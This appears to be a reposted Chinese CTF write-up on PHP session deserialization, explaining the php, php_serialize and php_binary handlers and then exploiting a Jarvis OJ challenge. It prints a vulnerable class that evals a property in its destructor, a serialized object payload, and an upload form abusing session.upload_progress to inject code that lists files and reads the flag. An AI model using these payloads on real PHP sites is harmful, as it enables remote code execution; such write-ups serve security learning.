IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php session 反序列化 -> 正文阅读

[PHP知识库]php session 反序列化

php_session 反序列化

  1. php 存储session的三种模式
php_serialize经过serialize()函数序列化数组
php键名+|+经过serialize()序列化处理后的值
php_binary键名长度对应ASCII字符+键名+serialize()序列化的值

三种存储模式的区别

<?php
	ini_set("session.serialize_handler", "php");  //修改session存储类型为php类型
	//ini_set("session.serialize_handler", "php_serialize");
	//ini_set("session.serialize_handler", "php_binary");
	session_start();    //访问页面时会返回session
	$_SESSION['ykingh'] = $_GET['ykingh'];
	echo $_SESSION['ykingh'];
?>

第一种,php类型生成的session文件为:ykingh|s:3:"123";

第二种,php_serialize类型生成的session文件为:a:1:{s:6:"ykingh";s:3:"123";}

第三种,php_binary类型生成的session文件为:ykinghs:3:"123";

某session反序列化题解: http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');  //设置序列化存储格式为php类型
session_start();  //用于生成session_phpsessionID文件
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

首先如果get传入phpinfo参数的话,会创建一个m对象,调用构造函数和析构函数,执行phpinfo,即可查看phpinfo的内容

查找session,找到突破口
在这里插入图片描述

局部变量和全局变量使用的序列化类型不一样,存在session反序列化漏洞

session.upload_progress.enabled

在这里插入图片描述

首先看到eval命令,存在命令执行漏洞,本地验证,输出当前文件所在目录的所有文件
在这里插入图片描述

将该序列化的结果传入到session文件里面,打开session文件得到序列化结果为

payload|s:71:"O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}";

利用session.upload_progress漏洞,上传的文件名会被填充到session中如果恶意构造文件名,再结合前面php session反序列化漏洞即可实现命令执行

首先构建文件上传表单

<!DOCTYPE html>
<html>
<head>
	<title>A_dmin</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="submit" />
	</form>
	</form>
</body>
</html>

随便上传一个文件,然后抓包,将文件名修改为想要的字符串

在这里构造payload

session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
		// $this->mdzz  ='print_r(scandir(dirname(__FILE__)))';
        // $this->mdzz = 'highlight_file("Here_1s_7he_fl4g_buT_You_Cannot_see.php");';
        // 两个分别执行即可,先读取目录,再读取文件
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}

$a = new OowoO();
echo serialize($a);

然后将读取到的序列化字符串填为文件名,注意内容中引号的转义,通过加|来触发session 反序列化漏洞,将我们输入的值进行反序列化,达到我们想要的目的,将|前的值作为key值

在这里插入图片描述

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 18:02:46  更:2022-03-30 18:04:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 12:56:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码